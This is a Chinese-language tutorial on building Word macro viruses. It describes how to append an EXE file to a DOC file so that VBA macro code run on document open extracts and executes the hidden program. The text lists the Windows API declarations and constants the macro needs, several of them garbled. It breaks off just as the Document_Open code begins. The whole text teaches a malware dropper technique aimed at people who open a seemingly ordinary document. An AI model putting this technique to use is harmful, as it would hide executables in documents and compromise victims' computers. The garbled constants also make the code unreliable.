《宏病毒制作参考.docxVIP

--? Word宏病毒制作，传播，防范EXE变DOC的方法其实这种转换并不是文件格式上的变化,只不过是把一个exe文件接在一个doc文件的末尾而已,这个doc文件当然就不是不同word的文档啦,该文档中包含了宏语句,能在运行的时候把接在自己文件末尾的exe文件数据读取出来并运行,就造成一种假象,好象文档打开时就运行了exe文件似的.(和文件捆绑器的原理很象啊!)??熟悉vb的朋友都知道,word的宏是使用vba来编写的,具体语法和vb一样,但有些方法vb中没有,如宏病毒就是利用宏复制语句来达到感染的目的.和vb一样,我们可以在编写宏的时候调用windows api!!下面我们来介绍一下我们编写这个宏需要用到的api函数:??1)createfile 用于打开文件,该函数vb的声明如下:declare function createfile lib kernel32 alias createfilea (byval lpfilename as string,byval dwdesiredaccess as long, byval dwsharemode as long, byval lpsecurityattributesas long, byval dwcreationdistribution as long, byval dwflagsandattributes as long, byval htemplate as long) as long2)closehandle 用于关闭被打开文件的句柄,该函数vb的声明如下:declare function closehandle lib kernel32 (byval hobject as long) as long3)readfile 用于从被打开文件中读取数据,该函数vb的声明如下:declare function readfile lib kernel32 (byval hfile as long, lpbuffer as byte, byval dwnumberofbytestoreadas long, lpnumberofbytesread as long, byval lpoverlapped as long) as long4)writefile 用于把读取出的数据写入文件,该函数vb的声明如下:declare function writefile lib kernel32 (byval hfile as long, lpbuffer as byte, byval dwnumberofbytestowriteas long, lpnumberofbyteswritten as long, byval lpoverlapped as long) as long5)setfileponiter移动文件指针,该函数vb的声明如下:declare function setfilepointer lib kernel32 (byval hfile as long, byval ldistancetomove as long, byvallpdistancetomovehigh as long, byval dwmovemethod as long) as long6)下面是以上函数的参数声明public const generic_read as long = ublic const generic_write as long = ublic const file_share_read as long = 1public const file_share_write as long = 2public const create_new as long = 1public const create_always as long = 2public const open_existing as long = 3public const open_always as long = 4public const truncate_existing as long = 5public const invalid_handle_value as long = -1public const file_attribute_normal as long = h80好了,有了这些准备工作就可以开始了,我们运行word2000,打开visual basic编辑器,新建一个模块,把上面的函数和参数声明拷进去!再回到“thisdocument．的代码视图，选择document．nbspopen的事件，输入一下代码：private sub document．open